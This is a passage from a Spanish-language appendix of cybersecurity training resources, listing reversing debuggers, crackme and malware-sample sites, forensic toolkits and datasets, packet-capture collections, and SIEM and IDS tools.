Hacme Bank Android (http://www.mcafee.com/us/downloads/free-tools/hacme-bank-andro


aspx)

InsecureBank (http://www.paladion.net/downloadapp.html)

C.7. Reversing

C.7.1. Herramientas

Las principales herramientas con las que se llevan a cabo las tareas de reversing son
los debuggers, algunos de los cuales son muy avanzados y permiten la descompilación de
los binarios.

A continuación se listan algunos de los más relevantes:


13
http://pen-testing.sans.org/blog/2011/10/13/mobile-application-assessments-attack-vectors-and-ars

110
Para Unix:

• gdb (https://www.gnu.org/software/gdb/)
• Radare2 (http://radare.org)

Para Windows:

• IDA (https://www.hex-rays.com/products/ida/index.shtml)
• OllyDbg (http://www.ollydbg.de/)

Adicionalmente hay algunas herramientas muy orientadas a algunas de las áreas de


la ingeniería inversa, como por ejemplo Cuckoo (http://cuckoosandbox.org/) para el
análisis dinámico de malware.

C.7.2. Manuales y cheatsheets

En http://beginners.re/ se puede acceder de forma gratuita al libro electrónico


“Reverse Engineering for Beginners” escrito por Dennis Yurichev14 .

En https://github.com/iosre/iOSAppReverseEngineering se presenta un libro so-


bre la ingeniería inversa de aplicaciones móviles de la plataforma iOS.

Adicionalmente, Aman Hardikar ha desarrollado un mindmap 15 en el que representa


algunas de las pruebas a realizar sobre aplicaciones, que si bien está orientada a la revisión
de código (anáisis de caja blanca), aporta información respecto aquellos aspectos que
pueden ser explotados en aplicaciones mal programadas. La última versión a fecha de
escritura se representa a continuación:

C.7.3. Fuentes de ejercicios

Los retos de reversing se suelen llamar “crackmes”, siendo una de las fuentes más
interesante la web http://crackmes.de/, en la que los miembros pueden proponer retos
a otros usuarios de la misma.

En cuanto al análisis de malware, Aman Hardikar propone16 los siguientes:

Open Malware / Offensive Computing (http://openmalware.org/)

Contagio (http://contagiodump.blogspot.com/)

VX Heaven (http://vxheaven.org/)

VirusShare.com / VXShare (http://virusshare.com/)


14
http://yurichev.com/
15
http://amanhardikar.com/mindmaps/CodeReview.html
16
http://www.amanhardikar.com/mindmaps/ForensicChallenges.html

111
Figura C.4: Mindmap de revisión de código por Aman Hardikar

VXVault (http://vxvault.siri-urz.net)

MalShare (http://malshare.com/)

Virusign (http://www.virusign.com/)

theZoo / Malware DB (http://ytisf.github.io/theZoo/)

malc0de (http://malc0de.com/database/)

FakeAVs blog (http://www.fakeavs.com/)

malware traffic (http://malware-traffic-analysis.net/)

Georgia Tech malrec page (http://panda.gtisc.gatech.edu/malrec/)

Kernelmode Forum (http://www.kernelmode.info)

Malware Hub Forum (http://malwaretips.com/categories/malware-hub.103/)

MalwareBlacklist.com (http://www.malwareblacklist.com)

Joxean Koret’s List (http://malwareurls.joxeankoret.com)

Sucuri Research Labs (http://labs.sucuri.net/?malware)

112
CLEAN MX realtime database (http://support.clean-mx.de/clean-mx/viruses.
php)

Contagio Mobile Malware (http://contagiominidump.blogspot.com/)

Android Sandbox (http://androidsandbox.net/samples/)

maltrieve (http://maltrieve.org/)

HoneyDrive (http://bruteforce.gr/honeydrive)

C.8. Forensics

C.8.1. Herramientas

SANS ha desarrollado una distribución de Linux (SANS Investigative Forensic Toolkit,


SIFT)17 en la que se pueden encontrar las principales herramientas de análisis forense.

Kali Linux18 y las herramientas desplegadas en la distribución19 también permiten


realizar tareas de análisis forense, tanto en modo “Live Forensics” (en el que se intenta
afectar en la mínima medida de lo posible el host en el que se ejecuta y no monta los
file-systems en modo escritura, ideal para la recolección de evidencias) como en modo
persistente durante el análisis posterior de las evidencias.

C.8.2. Manuales y cheatsheets

SANS tiene en su web una sección dedicada a cheat-sheets de análisis forense digital
(https://digital-forensics.sans.org/community/cheat-sheets).

Adicionalmente, Aman Hardikar ha desarrollado un mindmap 20 en el que representa


algunas de las pruebas a realizar durante un análisis forense, cuya última versión a fecha
de escritura se representa a continuación:

C.8.3. Fuentes de ejercicios

Aman Hardikar inventaría en su web21 un buen número de ejercicios prácticos de


análisis forense:

A nivel de dispositivo:
17
https://digital-forensics.sans.org/community/downloads
18
http://www.kali.org/
19
http://tools.kali.org/tools-listing
20
http://amanhardikar.com/mindmaps/Forensics.html
21
http://amanhardikar.com/mindmaps/ForensicChallenges.html

113
Figura C.5: Mindmap de análisis forenses por Aman Hardikar

114
• DigitalCorpora (http://digitalcorpora.org/)
• Digital Forensics Tool Testing Images (http://dftt.sourceforge.net/)
• DFRWS 2014 Forensics Rodeo (http://www.cs.uno.edu/~golden/dfrws-2014-rodeo.
html)
• Linux LEO Supplemental Files (http://linuxleo.com/)
• volatility memory samples (https://code.google.com/p/volatility/wiki/
FAQ)
• ISFCE Sample Practical Exercise (http://www.isfce.com/sample-pe.htm)
• ForGe Forensic test image generator (https://github.com/hannuvisti/forge)

A nivel de red:

• Wireshark Sample Captures (http://wiki.wireshark.org/SampleCaptures)


• Wireshark Network Analysis Book Supplements (http://www.wiresharkbook.
com/studyguide.html)
• pcapr (http://www.pcapr.net)
• PacketLife Capture Collection (http://packetlife.net/captures/)
• DigitalCorpora Packet Dumps (http://digitalcorpora.org/corpora/packet-dumps)
• Evil Fingers PCAP Challenges (https://www.evilfingers.com/repository/
pcaps_challenge.php)
• PCAPS Repository (https://github.com/markofu/pcaps)
• Chris Sanders Packet Captures (http://chrissanders.org/packet-captures/)
• Tcpreplay Sample Captures (http://tcpreplay.appneta.com/wiki/captures.
html)
• Enron Email Dataset (http://www.cs.cmu.edu/~enron/)
• MAWI Working Group Traffic Archive (http://mawi.wide.ad.jp/mawi/)
• LBNL-FTP-PKT (http://ee.lbl.gov/anonymized-traces.html/)

C.9. Ciberinteligencia

C.9.1. Herramientas

La principal herramienta para la ciberinteligencia es el SIEM (Security Information


and Event Manager). Si bien hay una gran variedad de los mismos, se destaca OSSIM22 ,
versión open source de la solución comercial AlienVault23 .

Adicionalmente, de cara a alimentar el SIEM, adicionalmente a los sistemas desple-


gados, entre las tecnologías propias de la seguridad de la información, se destacan los
IDS/IPS, como por ejemplo:
22
https://www.alienvault.com/products/ossim
23
https://www.alienvault.com/

115
SNORT (https://www.snort.org/)

Suricata (http://suricata-ids.org/)

Ambos open source y con reglas de detección disponibles para la comunidad (si bien hay
que suscribirse a un feed de pago para tener las últimas).

116

También podría gustarte